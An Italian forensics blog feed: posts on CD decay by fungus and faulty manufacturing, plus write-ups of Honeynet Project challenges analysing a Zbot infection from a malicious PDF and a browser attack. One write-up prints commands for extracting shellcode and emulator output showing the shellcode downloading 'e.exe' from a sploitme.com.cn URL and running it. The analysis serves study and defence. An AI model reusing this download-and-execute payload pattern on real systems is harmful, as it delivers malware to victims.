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	<title>Il non-blog di Mario Pascucci &#187; Computer Forensics</title>
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	<description>Sto lavorando sodo per preparare il mio prossimo errore (B. Brecht)</description>
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		<title>Lacrime, pioggia, nuvole, funghi e altre follie</title>
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		<pubDate>Mon, 10 Oct 2011 11:49:19 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Eventi]]></category>
		<category><![CDATA[Information security]]></category>

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		<description><![CDATA[Durante il mio intervento alla conferenza ho parlato di due cose: CD attaccati e distrutti da un fungo altri CD con l&#8217;autodistruzione incorporata Per motivi che è tropo lungo spiegare, non sono inclusi nelle slide. Ora faccio ammenda, mostrando tutto il necessario per completare l&#8217;intervento. Ve lo devo, voi che siete intervenuti. Il fungo mangia-CD [...]]]></description>
			<content:encoded><![CDATA[<p>Durante il mio <a href="http://www.ismprofessional.net/pascucci/index.php/2011/08/lacrime-pioggia-e-nuvole-che-fine-faranno-i-nostri-ricordi/">intervento alla conferenza</a> ho parlato di due cose:</p>
<ul>
<li>CD attaccati e distrutti da un fungo</li>
<li>altri CD con l&#8217;autodistruzione incorporata</li>
</ul>
<p>Per motivi che è tropo lungo spiegare, non sono inclusi nelle slide. Ora faccio ammenda, mostrando tutto il necessario per completare l&#8217;intervento.<br />
Ve lo devo, voi che siete intervenuti.</p>
<h3>Il fungo mangia-CD</h3>
<p>Il riferimento migliore è l&#8217;omnicomprensivo <a href="http://cdrfaq.org/faq07.html#S7-22">CD-R FAQ</a>, ma si trovano altri riferimenti:</p>
<ul>
<li><a href="http://news.bbc.co.uk/2/hi/science/nature/1402533.stm">BBC News (2001)</a></li>
<li><a href="http://www.nature.com/news/2001/010627/full/news010628-11.html">Nature (2001)</a></li>
<li><a href="http://www.independent.co.uk/news/science/scientists-discover-fungus-that-eats-cds-674234.html">The Independent (2001)</a></li>
<li><a href="http://www.telegraph.co.uk/news/worldnews/centralamericaandthecaribbean/belize/1312221/Scientist-finds-fungus-that-eats-through-compact-discs.html">The Telegraph (2001)</a>
</ul>
<p>In breve: in particolari condizioni climatiche, un fungo comunissimo (il <em><a href="http://en.wikipedia.org/wiki/Geotrichum_candidum">Geotrichum candidum</a></em>, responsabile ad esempio della fioritura del formaggio Camembert) è in grado di attecchire sul rivestimento protettivo del CD, anche stampati, non solo i registrabili. Il risultato è di esporre l&#8217;alluminio della metallizzazione, usato per rendere la superficie riflettente, all&#8217;aria. L&#8217;alluminio, ossidandosi, diventa trasparente, perdendo la sua reflettività, quindi il CD diventa illeggibile.</p>
<p>Naturalmente questo avviene in climi particolari, dove la temperatura è costantemente sopra i 35° C e l&#8217;umidità abbondante, condizioni tipiche dei paesi tropicali.</p>
<h3>I CD con l&#8217;autodistruzione incorporata</h3>
<div id="attachment_1098" class="wp-caption aligncenter" style="width: 302px"><a href="http://www.ismprofessional.net/pascucci/wp-content/uploads/2011/10/cd-autodistruzione-1.jpg"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/2011/10/cd-autodistruzione-1-292x300.jpg" alt="I CD con l&#039;autodistruzione inclusa" title="I CD con l&#039;autodistruzione inclusa" width="292" height="300" class="size-medium wp-image-1098" /></a><p class="wp-caption-text">I CD con l&#039;autodistruzione inclusa</p></div>
<p>Nella foto sopra potete vedere di cosa parlo. Il CD in alto a destra è stato dimenticato in un lettore di CD di tipo Hi-Fi per 6 anni. Era nella stanza di fianco a quello in basso a destra, che presenta lo stesso tipo di deterioramento. Alla conferenza avevo parlato di quello dimenticato nel lettore, ma arrivato a casa ho deciso di intraprendere un controllo più esteso, e ne ho trovato un altro con lo stesso problema, solo che questo era nella sua custodia, quindi l&#8217;ipotesi che qualcosa avesse deteriorato il CD dimenticato nel lettore è da scartare. </p>
<p>E&#8217; molto più probabile si tratti di un errore nel ciclo produttivo, visto che un altro CD della stessa casa, prodotto nello stesso periodo, presenta lo stesso problema. Qualcosa ha reso lo strato protettivo permeabile all&#8217;aria, ed ecco che l&#8217;alluminio dello strato riflettente se ne sta andando, lentamente ed inesorabilmente. Entrambi i dischi sono ancora leggibili, e la musica riesce a venirne fuori, in qualche modo.</p>
<p>La produzione risale al 2001, i dischi sono tutti originali stampati, non sono CD-R. Per confronto ho messo un CD stampato nel 1984 (a sinistra), e come si vede il colore è proprio quello dell&#8217;alluminio, uniforme e senza aloni. L&#8217;ipotesi dell&#8217;errore in produzione è forse la più plausibile. </p>
<div id="attachment_1099" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ismprofessional.net/pascucci/wp-content/uploads/2011/10/cd-autodistruzione-2.jpg"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/2011/10/cd-autodistruzione-2-300x260.jpg" alt="Dettaglio del CD deteriorato" title="Dettaglio del CD deteriorato" width="300" height="260" class="size-medium wp-image-1099" /></a><p class="wp-caption-text">Dettaglio del CD deteriorato</p></div>
<p>Come si vede nel dettaglio, il disco sta diventando trasparente per tutta la superficie, leggermente di più vicino al bordo esterno. La parte opaca è protetta dalla grafica stampata, ma dal colore si capisce che il deterioramento è uniforme. Si vede chiaramente il mattoncino LEGO&reg; bianco che ho messo per tenere inclinato il CD</p>
<p>Ora, questo non mi rende meno preoccupato. Quanti dischi sono stati prodotti con processi i cui difetti si presenteranno nel lungo termine? Nessuno lo sa. </p>
<p>Per salvare il salvabile, dovrei fare una copia dei CD, ma è illegale. Potrei scaricarne una copia via <em>peer to peer</em>, ma è illegale anche se ho gli originali. </p>
<p>Quale potrebbe essere probabilmente la risposta degli autori se gliene chiedo una copia &#8220;legale&#8221;, visto che la mia si sta deteriorando?</p>
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		<title>Lacrime, pioggia e nuvole: che fine faranno i nostri ricordi?</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2011/08/lacrime-pioggia-e-nuvole-che-fine-faranno-i-nostri-ricordi/</link>
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		<pubDate>Mon, 29 Aug 2011 10:09:52 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Eventi]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[CFI]]></category>
		<category><![CDATA[durata]]></category>
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		<category><![CDATA[tempo]]></category>

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		<description><![CDATA[Gli amici di CFItaly organizzano un convegno gratuito in Roma e mi hanno coinvolto nella realizzazione degli interventi, cosa che sono ben felice di fare. Parteciperanno quasi tutti quelli del primo convegno di CFI del 2008: Nanni Bassetti Gianni Amato Denis Frati Francesco Paolo Micozzi Giovanni Battista Gallus Il mio intervento riguarderà il problema, per [...]]]></description>
			<content:encoded><![CDATA[<p>Gli amici di CFItaly organizzano un convegno gratuito in Roma e mi hanno coinvolto nella realizzazione degli interventi, cosa che sono ben felice di fare.<br />
Parteciperanno quasi tutti quelli del <a href="http://cfitaly.net/convegno2008">primo convegno di CFI del 2008</a>: </p>
<ul>
<li><a href="http://www.nannibassetti.com/">Nanni Bassetti</a></li>
<li><a href="http://www.gianniamato.it/">Gianni Amato</a></li>
<li><a href="http://www.denisfrati.it/">Denis Frati</a></li>
<li><a href="http://www.micozzi.it/">Francesco Paolo Micozzi</a></li>
<li><a href="http://gnutonto.blogspot.com/">Giovanni Battista Gallus</a></li>
</ul>
<p>Il mio intervento riguarderà il problema, per ora destinato a rimanere senza facile soluzione, della durata dei supporti di memorizzazione, sia analogici che digitali.<br />
Vista l&#8217;importanza che stanno assumendo le cosiddette &#8220;fonti di prova digitali&#8221; nel contrasto della criminalità, è diventato necessario capire quanto i supporti possano sopravvivere nel tempo con il loro contenuto utilizzabile.<br />
Per chi è interessato, ci si vede a Roma il primo di ottobre. Tutti le informazioni ed i dettagli sul sito:<br />
<a href="http://www.digiconf.net/index.php?EVENTO_ATTUALE">DIGITAL FORENSICS AND SECURITY CONFERENCE 2011</a></p>
<h3>Edit</h3>
<p><a href='http://www.ismprofessional.net/pascucci/wp-content/uploads/2011/08/lacrime-nella-pioggia.pdf'>Queste sono le slide</a> del mio intervento.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Honeynet Project: Challenge 3/2010 (II parte)</title>
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		<pubDate>Thu, 19 Aug 2010 03:00:40 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Honeynet project]]></category>
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		<description><![CDATA[La prima parte è qui. La quinta domanda chiedeva se era possibile estrarre qualche file dal processo inizialmente responsabile per l&#8217;attacco. Dato che il processo sospettato era Acrobat Reader, tramite Volatility ne ho estratto l&#8217;immagine in memoria del processo, dopodiché ho provato ad usare foremost su di essa. Il risultato è interessante, anche perché due [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.ismprofessional.net/pascucci/index.php/2010/06/honeynet-project-challenge-32010-i-parte/">La prima parte è qui</a>.</p>
<p>La quinta domanda chiedeva se era possibile estrarre qualche file dal processo inizialmente responsabile per l&#8217;attacco. Dato che il processo sospettato era Acrobat Reader, tramite <a href="https://www.volatilesystems.com/default/volatility">Volatility</a> ne ho estratto l&#8217;immagine in memoria del processo, dopodiché ho provato ad usare <a href="http://foremost.sourceforge.net/">foremost</a> su di essa. Il risultato è interessante, anche perché due file PDF estratti dall&#8217;impronta in memoria del processo <strong>non vengono estratti</strong> se invece si esegue foremost sull&#8217;intera immagine della memoria. I due file interessanti sono rispettivamente di 60kbyte e di 600kbyte, ed il primo è cifrato.</p>
<p>Usando i <a href="http://blog.didierstevens.com/programs/pdf-tools/">PDF-tools</a> di <a href="http://blog.didierstevens.com/">Didier Stevens</a> si riesce ad analizzare la struttura dei file PDF, anche se tutti risultano corrotti in vari modi. </p>
<p>Quello cifrato non riserva particolari sorprese, mentre quello da 600kbyte ha una &#8220;azione automatica&#8221; eseguita all&#8217;apertura del documento, ossia l&#8217;esecuzione di un codice Javascript. Il codice Javascript è nascosto in un blocco con il tag di identificazione del tipo offuscato: <strong>/F#6c#61#74e#44e#63#6fde</strong> e <strong>/#41#53#43II#38#35#44#65#63#6fd#65</strong> che in realtà corrispondono a: <strong>/FlateDecode /ASCII85Decode</strong>. Usando l&#8217;utility <strong>pdf-parser.py</strong>, sempre nei PDF-tools, si riesce ad estrarre il blocco ed a mettere le mani in un consistente blocco (84kbyte) di codice Javascript pesantemente offuscato.</p>
<p>La sesta domanda chiede di individuare la tecnica usata per sferrare l&#8217;attacco. Questa è forse la risposta che ha richiesto più lavoro. L&#8217;attacco viene portato dal file PDF usando un tag di tipo <strong>/AA</strong>, che nel formato PDF sta per <em>Add Action</em>. In breve, è possibile associare un&#8217;azione alla visualizzazione di una determinata pagina. In questo caso l&#8217;azione è stata di mandare in esecuzione il blocco di codice Javascript. Per capire cosa abbia fatto il codice, occorre invertire l&#8217;offuscamento, ma le cose non sono così semplici. Il Javascript usato da Acrobat Reader è certamente standard, tanto da essere possibile eseguirlo in Firefox, ad esempio, ma quello che cambia drasticamente sono le funzioni disponibili all&#8217;interno dell&#8217;ambiente di esecuzione. In Acrobat, Javascript ha a disposizione tutte le funzioni necessarie per lavorare con i file PDF (e non solo quelli), funzioni che in Firefox, ad esempio, non esistono. Quindi eseguire il blocco di codice Javascript in Firefox, racchiudendolo tra i tag SCRIPT non produce alcun risultato utile. Esaminando un po&#8217; il codice &#8220;a vista&#8221; si riesce ad individuare una chiamata alla funzione Javascript <strong>eval( )</strong>. Riuscire a vedere il parametro (la stringa) passata ad eval spesso significa vedere il codice non offuscato. Installando <a href="https://addons.mozilla.org/en-US/firefox/addon/1843/">Firebug</a> in Firefox si riesce nell&#8217;intento. Basta piazzare un <em>breakpoint</em> subito prima della chiamata alla funzione eval e si ottiene il codice Javascript in chiaro. </p>
<p>Ebbene, il codice Javascript contiene ben tre differenti shellcode, da usare in funzione della versione di Acrobat Reader (7, 8 o 9). In tutti e tre i casi il risultato dell&#8217;esecuzione dello shellcode è che viene scaricato un file eseguibile ed avviato senza possibilità di intervento dell&#8217;utente. </p>
<p>La settima domanda chiede di individuare eventuali file sospetti caricati da un qualsiasi processo attivo nella macchina in esame, e se tale file possa essere messo in relazione con l&#8217;attacco iniziale. Anche qui Volatility fa la parte del leone, utilizzando anche un plugin sviluppato da <a href="http://mnin.blogspot.com/2009/07/new-and-updated-volatility-plug-ins.html">Michael Hale Ligh</a>. Nel processo relativo a WinLogon si trovano quattro file sospetti: <strong>\WINDOWS\system32\sdra64.exe</strong>, <strong>\WINDOWS\system32\lowsec\user.ds</strong>, <strong>\_AVIRA_2109</strong> e <strong>\WINDOWS\system32\lowsec\local.ds</strong>. Dalla successiva analisi si vedrà che tali file sono associati proprio al malware Zbot. Eseguendo il citato plugin di Volatility per estrarre codice iniettato in altri processi sul processo di WinLogon, si ottengono sei file, ma solo uno di loro contiene stringhe relative ai file sospetti trovati prima. Interessante è anche una lista di nomi di funzioni esportate da alcune DLL di sistema di Windows. Tali funzioni vengono utilizzate per iniettare codice in altri processi. Lo stesso file, passato a VirusTotal per l&#8217;analisi viene identificato come una variante di Zbot.</p>
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		</item>
		<item>
		<title>Non si può vincere sempre</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/07/non-si-puo-vincere-sempre/</link>
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		<pubDate>Tue, 27 Jul 2010 21:29:13 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
		<category><![CDATA[Information security]]></category>
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		<description><![CDATA[Altrimenti non si capirebbe la differenza. Alla quarta sfida del progetto Honeynet, quella sul VoIP, ho totalizzato 60 punti su 63, classificandomi quarto. Mi rifarò nelle prossime sfide, potete contarci. Piuttosto, nessuno che voglia cimentarsi in una gara nella gara, confrontando i risultati al termine delle votazioni? Non lasciatemi solo a difendere la bandiera tricolore!]]></description>
			<content:encoded><![CDATA[<p>Altrimenti non si capirebbe la differenza.</p>
<p>Alla quarta sfida del progetto <a href="http://honeynet.org/challenges/2010_4_voip">Honeynet, quella sul VoIP</a>, ho totalizzato 60 punti su 63, classificandomi quarto. Mi rifarò nelle prossime sfide, potete contarci. Piuttosto, nessuno che voglia cimentarsi in una gara nella gara, confrontando i risultati al termine delle votazioni? </p>
<p>Non lasciatemi solo a difendere la bandiera tricolore!</p>
]]></content:encoded>
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		</item>
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		<title>Honeynet Project: Challenge 3/2010 (I parte)</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/06/honeynet-project-challenge-32010-i-parte/</link>
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		<pubDate>Thu, 24 Jun 2010 03:00:09 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
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		<description><![CDATA[Ho da poco inviato la mia soluzione alla quarta sfida del progetto Honeynet, riguardante il VoIP. Nell&#8217;attesa dei risultati, previsti per la fine di luglio, vediamo la soluzione data alla terza sfida del progetto, che riguardava l&#8217;analisi di una immagine di memoria acquisita live su un computer presumibilmente colpito da una qualche forma di malware. [...]]]></description>
			<content:encoded><![CDATA[<p>Ho da poco inviato la mia soluzione alla <a href="http://www.honeynet.org/challenges/2010_4_voip">quarta sfida del progetto Honeynet</a>, riguardante il VoIP. Nell&#8217;attesa dei risultati, previsti per la fine di luglio, vediamo la soluzione data alla <a href="http://www.honeynet.org/challenges/2010_3_banking_troubles">terza sfida del progetto</a>, che riguardava l&#8217;analisi di una immagine di memoria acquisita live su un computer presumibilmente colpito da una qualche forma di malware.</p>
<h4>Problemi con l&#8217;home banking</h4>
<p>Nella <a href="http://www.honeynet.org/files/Mario_Pascucci_Forensic_Challenge_2010_-_Challenge_3_-_Submission.pdf">mia soluzione</a> ho premesso un riassunto generale di come si è svolta la sequenza di azioni dedotte dall&#8217;analisi. Non era richiesta, ma ho pensato che, data la complessità della sfida, fornire un quadro generale avrebbe aumentato la comprensione. </p>
<p>Il campione da esaminare è l&#8217;immagine della memoria, un file da 500mbyte.</p>
<p>Tutto inizia con un messaggio e-mail, contenente un allegato in PDF, che all&#8217;apertura in Acrobat Reader provoca l&#8217;esecuzione di un frammento di Javascript che, sfruttando una falla in Acrobat, riesce a scaricare ed a mandare in esecuzione un eseguibile, senza alcun intervento da parte dell&#8217;utente.<br />
L&#8217;eseguibile è una variante del malware <a href="http://www.google.it/search?q=zbot">Zbot</a>, un pezzo del kit di <em>crimeware</em> denominato <a href="http://www.google.it/search?q=zeus+crimeware">ZeuS</a>. Questo malware, fra le altre cose, posiziona alcune chiavi di registro relative al processo di WinLogon, assicurandosi l&#8217;avvio ad ogni partenza del sistema. Alla partenza sfrutta il meccanismo degli hooks per iniettare codice in tutti i processi di sistema ed utente di cui ha bisogno per fare il suo lavoro. </p>
<p>Andiamo con la prima domanda, che chiede di elencare i processi in esecuzione al momento dell&#8217;acquisizione della memoria del computer colpito e di indicare quale sia il processo responsabile della prima fase dell&#8217;attacco.<br />
Ricavare questo da una immagine di memoria non è proprio banale, per cui mi sono documentato ed ho trovato una raccolta di strumenti per l&#8217;analisi della memoria di Windows, denominata <a href="https://www.volatilesystems.com/default/volatility">Volatility</a>.<br />
Tramite questi strumenti, open source, è possibile ricavare parecchie informazioni senza andare di editor esadecimale e di certosina pazienza.<br />
Con la funzione di elenco processi di Volatility, appunto, in pochi secondi si ha la lista completa. Ora si tratta di individuare quello responsabile. Se tutto è nato da un PDF allegato ad un messaggio e-mail, è molto probabile che il colpevole sia Acrobat Reader (che ha PID 1752), ma per puntare il dito con più certezza occorre andare avanti con l&#8217;analisi. </p>
<p>La domanda successiva chiede di mostrare l&#8217;elenco dei socket aperti sul computer vittima, e di indicare se vi siano processi sospetti che abbiano socket aperti.<br />
Occorre incrociare i dati di tre liste, quella dei processi, quella dei socket aperti e quella delle connessioni di rete, in quanto le ultime due fanno riferimento al PID del processo che li gestisce, mentre la lista dei socket elenca anche su che protocollo e quale porta è attivo il socket, dato da incrociare con la connessione TCP o UDP che lo usa.<br />
In breve, saltano fuori tre connessioni sospette, due con un indirizzo IP di un hosting israeliano, una con un indirizzo IP di un hosting maltese.<br />
Vi sono anche altri socket sospetti, due dei quali fanno riferimento alle porte usate nel servizio UPnP di Windows (vedere l&#8217;articolo della <a href="http://support.microsoft.com/kb/832017/">knowledge base kb832017</a>).<br />
Vi sono dei riferimenti ad un indirizzo IP (192.168.0.1), che tornano ad una semplice ricerca di stringhe all&#8217;interno dell&#8217;immagine. Verosimilmente si tratta delle pagine di amministrazione web di un router/gateway per piccoli uffici. Sempre nell&#8217;immagine della memoria si trovano tracce di queste pagine web e di alcune transazioni SOAP volte ad aprire porte da Internet verso il computer in analisi.<br />
Potrebbe non essere significativo, ma potrebbe anche essere il segno di un tentativo di sfruttare <a href="http://www.gnucitizen.org/blog/hacking-the-interwebs/">una nota vulnerabilità del protocollo UPnP</a>, per cui non si possono trattare come innocue.<br />
In definitiva, abbiamo due processi con porte aperte o connessioni sospette: PID 880, una istanza di svchost.exe, ed il processo di Acrobat Reader, che pur essendo responsabile probabilmente solo della violazione iniziale, ha ancora due connessioni in piedi col server web che ha originato l&#8217;attacco. </p>
<p>La terza domanda chiede di elencare gli eventuali URL sospetti nella memoria del processo sotto indagine.<br />
Gli URL ci sono, cercandoli sia usando gli indirizzi IP trovati in precedenza, sia usando il nome &#8220;search-network-plus.com&#8221;, con cui è stato registrato l&#8217;indirizzo IP dell&#8217;hosting israeliano. Gli URL dell&#8217;hosting maltese fanno pensare ad un sito terzo, forse violato, su cui è stato inserito uno script PHP che provvede a reindirizzare il visitatore verso l&#8217;hosting israeliano, che provvede a fornire il file PDF forgiato.</p>
<p>La quarta domanda chiede se vi siano riferimenti riconducibili a problemi con l&#8217;home banking, quali siano i processi e gli URL.<br />
Un URL in particolare è molto interessante, quello che riporta il nome di un noto istituto bancario americano. L&#8217;URL è scritto usando alcuni caratteri a mo&#8217; di <em>wildcard</em>. Ebbene, questo schema è del tutto identico a quello usato nel malware Zbot per indicare in quali pagine web visitate è da iniettare il codice HTML per rubare le credenziali di accesso.<br />
In pratica, questo malware riesce a intercettare tutto il traffico con Internet e sulla base degli URL indicati riesce a modificare al volo il codice HTML ricevuto dal sito dell&#8217;istituto bancario. Queste modifiche sono volte a deviare le credenziali inserite dall&#8217;ignaro utente verso che controlla il malware. In breve, opera come in una operazione di phishing, ma il sito che viene visitato è quello della banca, e il furto di credenziali avviene nel computer dell&#8217;utilizzatore e vittima, non in un sito contraffatto. </p>
]]></content:encoded>
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		<title>Honeynet Project: Challenge 2/2010 (III e ultima parte)</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/06/honeynet-project-challenge-22010-iii-e-ultima-parte/</link>
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		<pubDate>Thu, 10 Jun 2010 03:00:38 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Honeynet project]]></category>
		<category><![CDATA[sfide]]></category>

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		<description><![CDATA[Questa è la parte finale della soluzione. Le precedenti sono qui e qui. La nona domanda chiedeva quali azioni fossero eseguite dagli shellcode, di elencarli (insieme all&#8217;hash MD5 del binario) e di mostrare le differenze fra loro. Gli shellcode sono tutti contenuti nel pacchetto #496, all&#8217;interno del codice Javascript offuscato. L&#8217;unica differenza viene da un [...]]]></description>
			<content:encoded><![CDATA[<p>Questa è la parte finale della soluzione. Le precedenti sono <a href="http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-i-parte/">qui</a> e <a href="http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-ii-parte/">qui</a>.</p>
<p>La nona domanda chiedeva quali azioni fossero eseguite dagli <em>shellcode</em>, di elencarli (insieme all&#8217;hash MD5 del binario) e di mostrare le differenze fra loro.<br />
Gli <em>shellcode</em> sono tutti contenuti nel pacchetto #496, all&#8217;interno del codice Javascript offuscato. L&#8217;unica differenza viene da un URL codificato all&#8217;interno degli <em>shellcode</em> stessi, in cui varia il valore del solo parametro &#8220;e&#8221; di tipo <em>url-encoded</em>.<br />
Come estrarre gli shellcode è abbastanza semplice: ho usato un copia e incolla del blocco codificato in UTF in un comando shell per convertire il simbolo di percentuale in backslash, poi ho scritto tre-righe-tre di Python per trasformare il tutto in un file binario. Questo il comando shell:</p>
<pre><code>$ echo "&#37;uc033&#37;u8B64&#37;u3040...." | tr "&#37;" "\\"</code></pre>
<p>Questa invece la sequenza dei comandi Python:</p>
<pre><code>import io
import codecs
f = io.open('spreadsheet.bin','w',1,'utf-16')
a=u'\uC033\u8B64\u3040....' (output dal comando tr)
f.write(a)
f.close()
</code></pre>
<p>Il risultato è un file codificato in UTF, con in testa il BOM (<a href="http://it.wikipedia.org/wiki/UTF-16#Varianti_di_UTF-16">Byte Order Mark</a>), i due byte 0xFE e 0xFF, che a noi non servono, e quindi li tagliamo con il comando:</p>
<pre><code>$ dd if=aolwinamp.utf of=spreadsheet.bin bs=1 skip=2</code></pre>
<p><em>Et-voilà</em>, ora abbiamo lo <em>shellcode</em> in binario pulito. Come capire cosa faccia, è tutto un altro paio di maniche. Procedere al solo <em>disassembly</em> è inutile, in quanto quasi certamente verranno chiamate funzioni proprie del sistema operativo, che in assembler sono delle semplici &#8220;call&#8221; con un indirizzo fisico, totalmente inintelligibili. Viene in aiuto un programma, creato dagli stessi del progetto Honeynet, chiamato <a href="http://libemu.carnivore.it/">libemu</a>.<br />
Occorre scaricarlo e compilare gli esempi, fra cui c&#8217;è <strong>sctest</strong>, che &#8220;esegue&#8221; lo <em>shellcode</em> tracciandone le azioni e le funzioni di sistema chiamate, oltre alle eventuali librerie utilizzate.<br />
Fin qui niente di strano, se non fosse che lo <em>shellcode</em> in esame contiene una chiamata ad una funzione di sistema che non è compresa fra quelle emulate, <strong>GetTempPathA</strong>, quindi libemu esce con un messaggio di errore, dato che non ha idea di come &#8220;emulare&#8221; questa funzione. Una ricerca sul sito Microsoft dedicato agli sviluppatori e si trova la definizione della funzione, con i parametri in ingresso ed il valore di ritorno atteso. Poi occorre mettere mano al sorgente di libemu per creare un &#8220;hook&#8221; alla funzione mancante. Basta copiare il codice di una simile, cambiando opportunamente i parametri ed il valore di ritorno, poi modificare i vari header per includere la funzione fra quelle conosciute. Ricompilare (correggere gli inevitabili errori&#8230;) e riprovare. Ecco l&#8217;output:</p>
<pre><code>$ /opt/libemu/bin/sctest -Svgs 1000000 &lt; spreadsheet.bin
verbose = 1
success offset = 0x00000000
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 295995
UINT GetTempPath (
     LPTSTR lpBuffer = 0x0012fe18 =&gt;
         none;
     UINT uSize = 136;
) = 19;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fe04 =&gt;
           = "urlmon.dll";
) = 0x7df20000;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =&gt;
         none;
     LPCTSTR szURL = 0x004170e0 =&gt;
           = "http://sploitme.com.cn/fg/load.php?e=8leCursorInfo";
     LPCTSTR szFileName = 0x0012fe18 =&gt;
           = "e.exe";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
     LPCSTR lpCmdLine = 0x0012fe18 =&gt;
           = "e.exe";
     UINT uCmdShow = 0;
) = 32;
void ExitThread (
     DWORD dwExitCode = 0;
) = 0;
</code></pre>
<p>Tradotto: viene scaricato un file, chiamato poi &#8220;e.exe&#8221;, dall&#8217;URL <strong>http://sploitme.com.cn/fg/load.php?e=8</strong>, e mandato in esecuzione.<br />
Nell&#8217;attuale versione di <strong>libemu</strong> non è più necessario fare tutta la trafila, la chiamata di sistema è già correttamente emulata. </p>
<p>La decima domanda chiedeva se vi fosse coinvolto un malware e quale ne fosse lo scopo. In cinque occasioni viene scaricato un file eseguibile, identico in tutte le istanze, che non viene identificato da nessun antivirus come pericoloso. Eseguito in una macchina virtuale risulta in un errore di tipo Access Violation (0xc0000005), ed anche disabilitando la &#8220;Executable Prevention Protection&#8221; non si ottiene nulla.<br />
Usando il comando strings sull&#8217;eseguibile si trovano tre stringhe significative, una delle quali è il path completo per lanciare Internet Explorer, nella versione inglese di Windows però, visto che il path è cablato nell&#8217;eseguibile e usa la directory &#8220;Program Files&#8221;.<br />
L&#8217;azione dell&#8217;eseguibile è probabilmente lanciare Internet Explorer e puntarlo ad un sito particolare, nel caso in esame verso il sito del progetto Honeynet. </p>
<p>Ed eccoci alla domanda bonus, che era offuscata usando una semplice codifica Base64. Una volta decodificata, la domanda verte sulla timeline, ossia sulla collocazione temporale degli eventi registrati. In pratica, mentre la cattura appare iniziata il primo di gennaio 2010 all&#8217;una di notte, all&#8217;interno di alcuni protocolli vi sono riferimenti temporali che riportano una data differente, il 2 febbraio 2010 alle ore 19.<br />
La spiegazione più semplice è che sia stata modificata la data di inizio, e che la cattura sia avvenuta in diretta, come mostrano alcune indicazioni riguardo pause nell&#8217;elaborazione e la concordanza in tutti i pacchetti che riportano una collocazione temporale insita nel protocollo stesso (HTTP ad esempio).<br />
Questo conclude l&#8217;analisi. </p>
<h4>Cosa si può imparare da questa sfida</h4>
<p>Personalmente, conoscevo già alcune delle tecniche utilizzate e necessarie per risolvere l&#8217;enigma, ma molte altre mi erano sconosciute e le ho dovute acquisire. L&#8217;uso di <strong>libemu</strong>, l&#8217;uso di UTF e del BOM, le funzioni di Python per la codifica UTF, per citarne qualcuna.<br />
Naturalmente, il poter risolvere la sfida richiedeva competenze in vari campi: protocolli di rete, linguaggi di programmazione, programmazione sicura, tecniche di sfruttamento delle falle di sicurezza, conoscenza di HTML/CSS e del <a href="http://it.wikipedia.org/wiki/Document_Object_Model">DOM</a>. Senza queste è impossibile venirne a capo, ed è inutile provarci. </p>
<p>E&#8217; importante capire che non è l&#8217;uso degli strumenti, ad essere importante, ma il contesto e lo scopo per cui si utilizzano. Usare <strong>libemu</strong> è abbastanza banale, ma capire quando usarlo e interpretarne i risultati non è insito nel funzionamento dello strumento, ma spetta all&#8217;utilizzatore, cioè a noi. Non è la racchetta che fa il tennista.</p>
<p>Chiudiamo qui. A breve la soluzione della sfida successiva, molto più impegnativa, almeno per me.</p>
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		</item>
		<item>
		<title>Honeynet Project: Challenge 2/2010 (II parte)</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-ii-parte/</link>
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		<pubDate>Thu, 27 May 2010 03:00:50 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Honeynet project]]></category>
		<category><![CDATA[sfide]]></category>

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		<description><![CDATA[Come promesso, eccoci alla seconda parte della soluzione per la sfida Browser Under Attack del progetto Honeynet (la I parte è qui). La quarta domanda chiedeva di tracciare un quadro generale delle operazioni svolte dagli attaccanti. Naturalmente, qui siamo in presenza di una simulazione, nel mondo reale le cose sarebbero andate in questo modo, più [...]]]></description>
			<content:encoded><![CDATA[<p>Come promesso, eccoci alla seconda parte della soluzione per la sfida <a href="http://www.honeynet.org/challenges/2010_2_browsers_under_attack">Browser Under Attack</a> del <a href="http://www.honeynet.org/">progetto Honeynet</a> (<a href="http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-i-parte/">la I parte è qui</a>).</p>
<p>La quarta domanda chiedeva di tracciare un quadro generale delle operazioni svolte dagli attaccanti. Naturalmente, qui siamo in presenza di una simulazione, nel mondo reale le cose sarebbero andate in questo modo, più o meno:</p>
<ul>
